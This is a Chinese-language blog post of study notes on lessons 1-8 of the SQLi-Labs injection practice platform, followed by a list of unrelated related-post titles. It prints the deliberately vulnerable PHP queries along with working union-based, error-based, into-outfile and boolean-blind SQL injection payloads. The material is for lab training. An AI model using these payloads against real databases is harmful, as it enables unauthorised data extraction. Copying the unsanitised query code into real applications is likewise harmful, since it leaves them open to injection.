SQLi-Labs Lesson 1-8 notes
来源:互联网 发布:江西国科军工集团 知乎 编辑:程序博客网 时间:2024/06/05 19:20
SQLI-LABS 是一个专业的SQL注入练习平台,用于学习SQL注入的各种姿势及原理。
info
下面的测试场景都支持GET和POST两种注入方式
- 报错注入(联合查询)
1)字符型
2)数字型 - 报错注入(基于二次注入)
- 盲注
1)基于布尔值
2)基于时间 - UPDATE型注入练习
- INSERT型注入练
- HTTP头部注入
1)基于Referer
2)基于UserAgent
3)基于Cookie - 二次排序注入练习
Less 1-8 note
联合查询(正确信息的利用)
logic:
if correct: echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password'];if error: print_r(mysql_error());
payload ?id=") union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
Lesson 1 GET – 基于错误 – 单引号 – 字符型
$id=$_GET['id'];id=1' -> ''1'' LIMIT 0,1' at line 1$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";LIMIT 显示表中的第m到n项,这里表示从0开始,取出1项
Lesson 2 GET – 基于错误 – 数字型
$id=$_GET['id'];id=1' -> '' LIMIT 0,1' at line 1$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Lesson 3 基于错误-单引号变形-字符型
$id=$_GET['id'];id=1' -> ''1'') LIMIT 0,1' at line 1$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
Lesson 4 基于错误-双引号-字符型
$id=$_GET['id'];$id = '"' . $id . '"';$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
id=1’
id=1” -> near ‘“1”“) LIMIT 0,1’ at line 1
?id=") union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
二次注入(错误信息的利用)
logic:
if correct: echo 'You are in...........';if error: print_r(mysql_error());
payload:
1.floor and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); --+
2.ExtractValue and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); --+
3.UpdateXml and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) --+
Lesson 5 基于报错信息
$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";id=1' -> near ''1'' LIMIT 0,1' at line 1
?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
Lesson 6 基于报错-双引号
$id=$_GET['id'];$id = '"'.$id.'"';$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
?id=1" and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
无输出信息-outfile
logic:
if correct: echo 'You are in.... Use outfile......';if error: echo 'You have an error in your SQL syntax';
payload: ?id=2")) union select 1,2,3 into outfile "(此处要有权限的绝对路径)union2.txt" --+
error:
'union2.txt' already exists'/union2.txt' (Errcode: 13 - Permission denied)
Lesson 7 Dump into outfile
$id=$_GET['id'];$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
布尔盲注
我们从枚举开始,尝试截断查询。
注入了一些查询后,会发现我们并没有在屏幕上看到错误信息。因此我们不能确定在这个网页上是否存在注入。这也是为什么这种类型的注入叫做盲注。通常有两种类型盲注,基于布尔的和基于时间的注入。
logic:
if input correct: echo 'You are in...........';if error: no output
function:
database()substr()ascii()
payload: and (ascii(substr((select table_name information_schema.tables where table_schema=database()limit 0,1) ,1,1)) = 101 --+
Lesson 8 Blind-Boolean based
$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- SQLi-Labs Lesson 1-8 notes
- sqli-labs lesson-2
- Sqli-labs学习SQL注入-Lesson 1-10总结
- sqli labs 1
- sqli-labs page-1
- SQLi Labs【level 1-5】
- [sqli-labs]Less-1(明注)
- Sqli-labs学习SQL注入-Lesson 11-20总结
- sqli-labs
- sqli-labs
- Sqli-labs 查看源代码 1-20
- 【SQL注入之sqli-labs】Less 1
- SQLI-LABS(Part 1)——搭建
- sqli-labs ---- Less-2
- sqli-labs ---- Less-7
- sqli labs通关秘籍
- SQLi Labs Lesson1
- SQLi Labs Lesson2
- 【小细节】Integer缓存机制(包装类型的缓存机制)
- 杭电2058 The sum problem
- 模拟delegate内部实现
- 《算法竞赛入门经典2ndEdition 》例题3-2 WERTYU(WERTYU, Uva10082)
- Android Resource Types之Color State List 简介
- SQLi-Labs Lesson 1-8 notes
- iOS App提交指南-协议、税务和银行业务
- Java抽象类和接口
- PHP入门(2) - 数据类型
- set接口及实现类
- js中this和that
- 杭电2715 Herd Sums
- hdu1108最小公倍数(欧几里得法求最小公倍数)
- UItableView